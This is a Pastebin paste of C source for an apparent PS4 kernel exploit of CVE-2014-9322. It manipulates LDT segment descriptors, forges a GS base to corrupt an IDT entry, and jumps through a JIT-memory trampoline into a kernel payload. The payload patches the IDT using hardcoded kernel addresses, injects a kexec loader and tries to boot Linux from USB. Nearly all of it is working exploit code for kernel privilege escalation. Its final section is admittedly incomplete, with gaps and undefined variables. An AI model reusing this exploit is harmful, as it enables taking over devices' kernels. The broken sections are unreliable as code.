Advertisement
Guest User

badiret/linux

a guest
Mar 17th, 2016
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.14 KB | None | 0 0
  1. #include "ps4.h"
  2. #include "defines.h"
  3.  
  4. // Include the linux loader!
  5.  
  6.  
  7. volatile static int sock;
  8. int idx, FLAG = 0;
  9.  
  10. struct user_segment_descriptor desc;
  11. uint64_t gsBase[PAGE_SIZE];
  12. uint64_t xpageEntryHi = NULL;
  13. char *criticalPayloadMessage = "  [+] Entered critical payload\n";
  14.  
  15. void * segManipulatorThread(void * none)
  16. {
  17.     printf("Loaded 2 on core %d\n", sceKernelGetCurrentCpu());
  18.     stick_this_thread_to_core(CORE);
  19.  
  20.     memset(&desc, 0, sizeof(desc));
  21.     desc.sd_lolimit = 0xffff;
  22.     desc.sd_type = SDT_MEMRWA;
  23.     desc.sd_dpl = 3;
  24.     desc.sd_p = 1;
  25.     desc.sd_hilimit = 0xf;
  26.     desc.sd_gran = 1;
  27.     desc.sd_def32 = 1;
  28.     idx = i386_set_ldt2(LDT_AUTO_ALLOC, &desc, 1);
  29.  
  30.     sceKernelSleep(3);
  31.  
  32.     desc.sd_p = 0;
  33.  
  34.     i386_set_ldt2(idx, &desc, 1);
  35.  
  36.     FLAG = 1;
  37.  
  38.     sceKernelSleep(60);
  39.  
  40.     return NULL;
  41. }
  42.  
  43. void payload()
  44. {
  45.     struct thread *td;
  46.  
  47.     // Switch back to kernel GS base
  48.     asm volatile("swapgs");
  49.  
  50.     // Clean your room!
  51.     _springcleaning();
  52.  
  53.     // Get td pointer
  54.     asm volatile("mov %0, %%gs:0" : "=r"(td));
  55.  
  56.     // Send a message
  57.     {
  58.         int (*sendto)(struct thread *td, struct sendto_args *uap) = (void *)0xFFFFFFFF8249EC10;
  59.  
  60.         struct sendto_args args = { sock, criticalPayloadMessage, strlen(criticalPayloadMessage), 0, NULL, 0 };
  61.         sendto(td, &args);
  62.     }
  63.  
  64.     // Load Linux Loader into kernel space... I hope this goes here...
  65.     void *DT_HASH_SEGMENT = (void *)0xffffffff82200160;
  66.     memcpy(DT_HASH_SEGMENT, kexec, kexecSize);
  67.  
  68.     void (*kexec_init)(void *, void *) = DT_HASH_SEGMENT;
  69.     kexec_init(NULL, NULL);
  70.  
  71.     /* uh? */
  72.     // "The kernel switches between the current kernel and userland GS bases using the swapgs instruction."
  73.     asm volatile("swapgs");
  74.     user_shellcode();
  75.  
  76. }
  77.  
  78. void allocatePayload() {
  79.     int executableHandle;
  80.     int writableHandle;
  81.     void *codepe0 = NULL;
  82.     void *codepe1 = NULL;
  83.     void *codepe2 = NULL;
  84.     void *codepe3 = NULL;
  85.     void *codepe4 = NULL;
  86.     void *codepe5 = NULL;
  87.  
  88.     void *codepw = NULL;
  89.     uint8_t tramp[12] = {   0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // movabs rax, 64bitaddr (this addr will get replaced by &payload)
  90.                     0xFF, 0xE0,                         // jmp rax
  91.     };
  92.  
  93.     // Get Jit memory
  94.     sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
  95.     sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);
  96.  
  97.     // Map the userland Xpage addresses r+e
  98.     codepe0 = mmap((void *)((uint64_t)0x0825FC000), PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED | MAP_FIXED, executableHandle, 0);
  99.     codepe1 = mmap((void *)((uint64_t)0x1825FC000), PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED | MAP_FIXED, executableHandle, 0);
  100.     codepe2 = mmap((void *)((uint64_t)0x2825FC000), PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED | MAP_FIXED, executableHandle, 0);
  101.     codepe3 = mmap((void *)((uint64_t)0x3825FC000), PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED | MAP_FIXED, executableHandle, 0);
  102.     codepe4 = mmap((void *)((uint64_t)0x4825FC000), PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED | MAP_FIXED, executableHandle, 0);
  103.     codepe5 = mmap((void *)((uint64_t)0x5825FC000), PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED | MAP_FIXED, executableHandle, 0);
  104.  
  105.     // Prefault on them
  106.     prefault(codepe0, PAGE_SIZE);
  107.     prefault(codepe1, PAGE_SIZE);
  108.     prefault(codepe2, PAGE_SIZE);
  109.     prefault(codepe3, PAGE_SIZE);
  110.     prefault(codepe4, PAGE_SIZE);
  111.     prefault(codepe5, PAGE_SIZE);
  112.  
  113.     // Map the writable address pointing to userland Xpage
  114.     codepw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);
  115.  
  116.     // Set payload() address on trampoline code
  117.     *(uint64_t*)(tramp + 2) = (uint64_t)payload;
  118.  
  119.     // Write the trampoline code
  120.     memset(codepw, 0x90, PAGE_SIZE);
  121.     memcpy(codepw + 0x3170, (uint8_t*)&tramp, sizeof(tramp));
  122.  
  123.     // Prefault on payload test message
  124.     prefault(criticalPayloadMessage, strlen(criticalPayloadMessage) + 1);
  125. }
  126.  
  127. int _main(void) {
  128.     idt_entry_t *idt_entries;
  129.     idt_ptr_t idt_ptr;
  130.     ScePthread thread1;
  131.     struct sockaddr_in server;
  132.     unsigned short hack_ss;
  133.  
  134.     initKernel();  
  135.     initLibc();
  136.     initNetwork();
  137.     initJIT();
  138.     initPthread();
  139.  
  140.     // -- DEBUG SOCKET --
  141.     server.sin_len = sizeof(server);
  142.     server.sin_family = AF_INET;
  143.     server.sin_addr.s_addr = IP(192, 168, 1, 69);
  144.     server.sin_port = sceNetHtons(9023);
  145.     memset(server.sin_zero, 0, sizeof(server.sin_zero));
  146.     sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
  147.     sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
  148.     int flag = 1;
  149.     sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
  150.     // -- DEBUG SOCKET --
  151.  
  152.     printf("Loaded on core %d\n", sceKernelGetCurrentCpu());
  153.     stick_this_thread_to_core(CORE);
  154.  
  155.     // Get address of Xpage entry
  156.     asm volatile("sidt %0" : "=m"(idt_ptr));
  157.     idt_entries = (idt_entry_t *)idt_ptr.base;
  158.     xpageEntryHi = (uint64_t)&(idt_entries[14]).target_offset_high;
  159.     printf("xpageEntryHi = %p\n", xpageEntryHi);
  160.  
  161.     allocatePayload();
  162.  
  163.     //scePthreadCreate(&thread3, NULL, threadFunction3, NULL, "pthread_pene3");
  164.  
  165.     // Create exploit thread
  166.     if (scePthreadCreate(&thread1, NULL, segManipulatorThread, NULL, "pthread_pene") != 0) {
  167.         printf("[cve_2014_9322 error]: pthread_create");
  168.         return 0;
  169.     }
  170.  
  171.     sceKernelSleep(1);
  172.  
  173.     // Set crafted gs
  174.     memset(&gsBase, 0x00, PAGE_SIZE * 8);
  175.     gsBase[0] = xpageEntryHi - 0x3E4;
  176.     amd64_set_gsbase(&gsBase);
  177.  
  178.     // Trigger bug
  179.     hack_ss = LDT3(idx);
  180.     asm volatile ("mov %%ss, %0" : : "rm" (hack_ss));
  181.  
  182.     while (FLAG == 0) {};
  183.  
  184.     printf("Failed!\n");
  185.     sceNetSocketClose(sock);
  186.  
  187.     return 0;
  188. }
  189.  
  190. void _springcleaning() {
  191.     // Let's restore corrupted IDT !
  192.     // We're doing it the yucky way... DON'T LOOK AT ME!!!
  193.     void (*setidt)() = (void *)0xFFFFFFFF82603FA0;
  194.     setidt(IDT_DE, 0xFFFFFFFF825FED40, SDT_SYSIGT, SEL_KPL, 0);
  195.     setidt(IDT_DB, 0xFFFFFFFF825FECB0, SDT_SYSIGT, SEL_KPL, 0);
  196.     setidt(IDT_NMI, 0xFFFFFFFF825FF3E0, SDT_SYSIGT, SEL_KPL, 2);
  197.     setidt(IDT_BP, 0xFFFFFFFF825FECE0, SDT_SYSIGT, SEL_UPL, 0);
  198.     setidt(IDT_OF, 0xFFFFFFFF825FED70, SDT_SYSIGT, SEL_KPL, 0);
  199.     setidt(IDT_BR, 0xFFFFFFFF825FEDA0, SDT_SYSIGT, SEL_KPL, 0);
  200.     setidt(IDT_UD, 0xFFFFFFFF825FEDD0, SDT_SYSIGT, SEL_KPL, 0);
  201.     setidt(IDT_NM, 0xFFFFFFFF825FEE00, SDT_SYSIGT, SEL_KPL, 0);
  202.     setidt(IDT_DF, 0xFFFFFFFF825FF0C0, SDT_SYSIGT, SEL_KPL, 1);
  203.     setidt(IDT_FPUGP, 0xFFFFFFFF825FEE30, SDT_SYSIGT, SEL_KPL, 0);
  204.     setidt(IDT_TS, 0xFFFFFFFF825FEF20, SDT_SYSIGT, SEL_KPL, 0);
  205.     setidt(IDT_NP, 0xFFFFFFFF825FEF40, SDT_SYSIGT, SEL_KPL, 0);
  206.     setidt(IDT_SS, 0xFFFFFFFF825FEF60, SDT_SYSIGT, SEL_KPL, 0);
  207.     setidt(IDT_GP, 0xFFFFFFFF825FF1E0, SDT_SYSIGT, SEL_KPL, 0);
  208.     setidt(IDT_PF, 0xFFFFFFFF825FF170, SDT_SYSIGT, SEL_KPL, 0);
  209.     setidt(IDT_MF, 0xFFFFFFFF825FEEC0, SDT_SYSIGT, SEL_KPL, 0);
  210.     setidt(IDT_AC, 0xFFFFFFFF825FEF80, SDT_SYSIGT, SEL_KPL, 0);
  211.     setidt(IDT_MC, 0xFFFFFFFF825FEE60, SDT_SYSIGT, SEL_KPL, 0);
  212.     setidt(IDT_XF, 0xFFFFFFFF825FEEF0, SDT_SYSIGT, SEL_KPL, 0);
  213.     setidt(IDT_DTRACE_RET, 0xFFFFFFFF825FED10, SDT_SYSIGT, SEL_UPL, 0);
  214. }
  215.  
  216. void user_shellcode() {
  217.     // This part is incomplete and needs initramfs and the kernel on USB stick!
  218.     FILE *fkernel = fopen("/mnt/usb0/bzImage", "r");
  219.     //...
  220.  
  221.     FILE *finitramfs = fopen("/mnt/usb0/initramfs.cpio.gz", "r");
  222.     //...
  223.  
  224.     // This part should be fine...
  225.     char *cmdLine = "panic=0 clocksource=tsc radeon.dpm=0 console=tty0 console=ttyS0,115200n8 "
  226.     "console=uart8250,mmio32,0xd0340000 video=HDMI-A-1:1920x1080-24@60 "
  227.     "consoleblank=0 net.ifnames=0 drm.debug=0";
  228.  
  229.     syscall(153, kernel, kernelSize, initramfs, initramfsSize, cmdLine);
  230.  
  231.     free(kernel);
  232.     free(initramfs);
  233.  
  234.     // Reboot
  235.     int evf = syscall(540, "SceSysCoreReboot");
  236.     syscall(546, evf, 0x4000, 0);
  237.     syscall(541, evf);
  238.     syscall(37, 1, 30);
  239.  
  240. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement